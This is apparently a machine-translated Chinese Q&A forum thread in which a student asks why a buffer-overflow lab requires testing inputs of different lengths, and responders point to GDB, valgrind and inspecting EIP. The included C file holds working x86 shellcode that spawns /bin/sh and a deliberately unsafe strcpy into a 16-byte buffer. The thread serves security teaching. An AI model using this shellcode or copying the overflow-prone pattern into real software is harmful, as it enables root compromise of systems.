2012-05-10 266 views
2

我已經給了一個C代碼文件,其中給出正確的輸入發生緩衝區溢出,然後授予root訪問權限。這是一個使用ZShell的Fedora bug。爲了測試這個(安全主題),我們禁用了Linux內核中啓用的隨機內存地址分配。測試緩衝區溢出

我被要求測試不同的輸入,直到出現分段故障,其中輸入是緩衝區大小。我沒有得到的是,爲什麼我應該用不同的值進行測試?我不確定代碼會有幫助,但我不知道改變輸入的重點。

/* vulnerable.c */ 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
unsigned char buf[] = 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50" /* pushl %eax */ 
"\x68""//sh" /* pushl $0x68732f2f */ 
"\x68""/bin" /* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50" /* pushl %eax */ 
"\x53" /* pushl %ebx */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99" /* cdql */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80 */ 
; 
/* -------------------------------------------------- */ 
void vuln(char * buf) 
{ 
    char a[16] = { 0 }; 
    strcpy(a, buf); 
} 
int main(int argc, char * argv[]) 
{ 
    int *ret; 
    if (argc != 2) 
    { 
     printf("Usage: %s <input>\n", argv[0]); 
     exit(1); 
    } 
    vuln(argv[1]); 
    printf("%p\n", buf); 
    return 0; 
} 
+0

要開始,我會建議嘗試溢出'valgrind'中的輸入並查看堆棧值等。但是,您是否編寫了程序集並自己獲取了字節碼?這樣做可能更有意義。另外,確保你有一個可執行的堆棧。改變輸入點最有可能確定堆棧發生了什麼。 – RageD

+0

你知道*什麼時候會出現分段錯誤?你知道如何在不改變輸入的情況下導致它,或者提供不同的輸入嗎?實驗。 –

+2

你可能有一些筆記與作業一起去。他們可能在某個時候討論堆棧佈局,重新閱讀它們。當調用'vuln'函數時,堆棧中有一些空間用於(除其他外)數組'a'和返回地址。當您嘗試將更多數據寫入'a'時,會發生什麼情況比適合?輸入一些容易識別的數據作爲輸入。獲取段錯誤並保存核心轉儲。在GDB中打開核心轉儲。現在看看寄存器。通過改變輸入的長度來查看是否可以獲得特定的值以顯示在EIP中。 –

回答

1

我不明白的是,我爲什麼要使用不同的值測試?我不確定代碼會有幫助,但我不知道改變輸入的重點。

緩衝區溢出只會發生在給定的輸入,所以你應該嘗試不同的輸入,看看會導致問題發生。

提示:當用戶輸入的時間比預期的程序長時,會發生緩衝區溢出,所以您應該嘗試使用不同的輸入長度,直到程序開始崩潰或做出意想不到的事情。